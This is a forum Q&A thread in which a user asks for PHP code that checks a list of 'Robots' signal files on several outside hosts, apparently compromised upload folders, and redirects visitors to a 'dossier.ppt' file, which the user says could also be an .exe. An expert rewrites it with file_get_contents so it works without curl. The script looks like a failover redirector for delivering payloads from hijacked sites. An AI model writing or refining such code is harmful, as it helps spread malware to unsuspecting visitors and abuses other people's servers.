Curl To php Redirect

I want to change this code to php curl
to work in any php


<?php
//////////////
////LINKS
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$pagina[0] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[0] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/upload.phpRobots.html';
$linkkk[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/dossier.ppt';

$pagina[2] = 'http://opcsuper.com//var/upload/Robots.html';
$linkkk[2] = 'http://opcsuper.com//var/upload/dossier.ppt';

$pagina[3] = 'http://vipnetcom.com/uploads/Robots.txt';
$linkkk[3] = 'http://vipnetcom.com/uploads/dossier.ppt';

$pagina[4] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[4] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[5] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[5] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[6] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[6] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

//////////////
////Configs
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[0] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[0]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[1] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[1]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[2] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[2]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[3] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[3]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[4] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[4]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[5] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[5]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[6] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[6]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
?>
OppitalAsked:
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

x
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

OppitalAuthor Commented:
tips:
use
allow_url_fopen
allow_url_include
0
Ray PaseurCommented:
As written, this code should work.  It looks like it will try to open each "pagina" URL and if it gets back lower case 'ok' and nothing more (except perhaps whitespace) it will transfer control to the corresponding 'linkkk' PowerPoint file.  If the pagina URL does not give you back the 'ok', the script will fall through to the next pagina URL, until all are exhausted.

(not sure what your browser might do with a direct link to a PPT file)

What would you like to change about it?
0
OppitalAuthor Commented:
The file is only one example, can be any file format (. Zip,. Rar,. Wmv,. Ogg,. Exe)
I need to make it work without relying on the curl
0
Acronis Data Cloud 7.8 Enhances Cyber Protection

A closer look at five essential enhancements that benefit end-users and help MSPs take their cloud data protection business further.

Ray PaseurCommented:
Well, there would be no obstacles to using other file formats besides PowerPoint.  

But I am not sure I understand - what do you want it to do in order to "work" and why is reliance on CURL a problem?  If you can explain a little more, maybe  I can help.  Thanks, ~Ray
0
OppitalAuthor Commented:
Mr. Ray, I use a translator (google), sorry
The idea is to transform to work only with PHP
some hosts do not activate the curl
0
Ray PaseurCommented:
CURL only needs to be activated on YOUR host - not on other hosts, so if you run this application on a host that offers CURL you will be OK.

The default CURL settings are mostly what you are using, so your access to the foreign sites looks like HTTP GET.  Other things that will work like CURL in this situation include file_get_contents() and fopen(), followed by fgets().  However all of these methods of accessing a foreign site have the same issues - a hosting service may disable them.  Choose a host that supports "allow url fopen" and you should be OK.

Best regards, ~Ray
<?php // RAY_temp_oppital.php
error_reporting(E_ALL);
//////////////
////LINKS
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$pagina[0] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[0] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/upload.phpRobots.html';
$linkkk[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/dossier.ppt';

$pagina[2] = 'http://opcsuper.com//var/upload/Robots.html';
$linkkk[2] = 'http://opcsuper.com//var/upload/dossier.ppt';

$pagina[3] = 'http://vipnetcom.com/uploads/Robots.txt';
$linkkk[3] = 'http://vipnetcom.com/uploads/dossier.ppt';

$pagina[4] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[4] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[5] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[5] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[6] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[6] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

//////////////
////Configs
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

// SET A COUNTER TO KEEP THE PAGINA AND LINKKK ARRAYS LINED UP
$counter = 0;

// ITERATE OVER ONE ARRAY
foreach ($pagina as $p_link)
{
    // GET THE FOREIGN URL
    $f_link = $linkkk[$counter];
    
    // READ THE DATA FROM THE PAGINA URL
    $signal = trim(file_get_contents($p_link));
    
    // IF THE PAGINA URL SAYS OK, GO TO THE FOREIGN URL
    if ($signal == 'ok')
    {
        header("Location:$f_link");
        exit;
    }
    
    // IF WE FALL THROUGH TO HERE, INCREMENT THE COUNTER AND GO TO THE NEXT ITERATION
    $counter++;
}

// IF WE FALL THROUGH TO HERE, THERE WAS NO 'ok' SIGNAL
die( "FAIL" );

Open in new window

0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
OppitalAuthor Commented:
Perfect
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
PHP

From novice to tech pro — start learning today.